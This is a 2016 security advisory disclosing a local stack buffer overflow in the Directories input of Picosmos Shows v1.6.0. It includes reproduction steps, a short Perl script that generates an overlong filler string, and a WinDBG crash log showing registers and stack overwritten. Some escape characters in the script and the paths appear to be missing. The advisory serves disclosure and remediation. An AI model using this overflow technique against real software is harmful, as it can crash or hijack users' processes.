Document Title:
===============
Picosmos Shows v1.6.0 - Stack Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1936


Release Date:
=============
2016-09-05


Vulnerability Laboratory ID (VL-ID):
====================================
1936


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
Picosmos Shows - View image files on your computer, set them as wallpaper or process them, individually or in groups, 
using this useful program. Editing images can be quite a tedious activity, especially if there are many files and all 
you have to do is subtle image optimizations. Although there are some methods to quickly do this without much effort, 
using editors batch file, as Picosmos Entertainment, is one of the most effective ways.

(Copy of the Homepage: http://www.picosmos.net/)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a stack buffer overflow vulnerability in the official Picosmos Shows v1.6.0 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-05:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Picosmos Tools
Product: Picosmos Shows - Software 1.6.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local stack buffer overflow vulnerability has been discovered in the official Picosmos Shows v1.6.0 software.
The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers.

The stack buffer overflow vulnerability is located in the `directory entry` module of the software. Local attackers are 
able to include unicode as malicious payload to crash software via stack overflow. Thus allows the local attacker to 
overwrite for example the eip register to take control of the vulnerable software process. 

The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. 
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. 
Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system.

Vulnerable Input(s):
[+] Directories - (Entry)


Proof of Concept (PoC):
=======================
A local stack overflow vulnerability can be exploited by local attackers without user interaction and with privileged system user account.
For security demonstration or to reproduce the sofwtare vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch the PicosmosShows.exe software process
Note: Additional you can attach a debugger like windbg to the software process
2. Run the code in perl and a file format (.txt) will create
3. Copy  the AAAAAAAAA+... string from Picosmos.txt to clipboard
4. Paste it to the input Directories AAAAAAAAA+... string and click Enter to process
5. Software crash permanently by a stack overflow
6. Successfully reproduce of the local stack buffer overflow vulnerability!


PoC: Exploit Code (Perl)
#!/usr/bin/perl
my $Buff = "x41" x 5000;
open(MYFILE,'>>Picosmos.txt');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwXn";


--- PoC Debug Session Logs [WinDBG] ---
(1634.22ec): Stack buffer overflow - code c0000409
eax=00000001 ebx=0044b208 ecx=00000002 edx=748bb3f8 esi=004a98b0 edi=00436bd0
eip=10467b10 esp=01b9f38c ebp=01b9f6b0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
*** WARNING: Unable to verify checksum for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll
*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll - 
BCGCBPRO2420u120!BCGPGetRegPath+0x2910:
10467b10 cd29            int     29h

EXCEPTION_RECORD:  ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: 10467b10 (BCGCBPRO2420u120!BCGPGetRegPath+0x00002910)
   ExceptionCode: c0000409 (Stack buffer overflow)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 00000002

FAULTING_THREAD:  000022ec
BUGCHECK_STR:  STACK_OVERRUN
PROCESS_NAME:  PicosmosShows.exe
FAULTING_MODULE: 77a50000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP:  569ba4fa
ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect  la saturation de la m moire tampon 
dans cette application. Cette saturation pourrait permettre   un utilisateur mal intentionn  
de prendre le contr le de cette application.
DEFAULT_BUCKET_ID:  WRONG_SYMBOLS
LAST_CONTROL_TRANSFER:  from 10350090 to 10467b10

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
01b9f6b0 10350090 00000000 00000000 004ff294 BCGCBPRO2420u120!BCGPGetRegPath+0x2910
01b9f8d0 00410041 00410041 00410041 00410041 BCGCBPRO2420u120!CBCGPShellManager::ItemFromPath+0x90
01b9f8d4 00410041 00410041 00410041 00410041 0x410041
01b9f8d8 00410041 00410041 00410041 00000000 0x410041
01b9f8dc 00410041 00410041 00000000 00410041 0x410041
01b9f8e0 00410041 00000000 00410041 00410041 0x410041
01b9f8e4 00000000 00410041 00410041 00410041 0x410041
0:000> !exchain
01b9f908: 00410041
Invalid exception stack at 00410041
0:000> d ebp
01b9f6b0  d0 f8 b9 01 90 00 35 10-00 00 00 00 00 00 00 00  ......5.........
01b9f6c0  94 f2 4f 00 41 00 41 00-41 00 41 00 41 00 41 00  ..O.A.A.A.A.A.A.
01b9f6d0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
01b9f6e0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
01b9f6f0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
01b9f700  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
01b9f710  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
01b9f720  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.



Solution - Fix & Patch:
=======================
Restrict the number of characters in the input of the Directories entry module and allocate the memory.


Security Risk:
==============
The security risk of the local stack buffer overflow vulnerability in the software is estimated as high. (CVSS 6.1)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


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=========================
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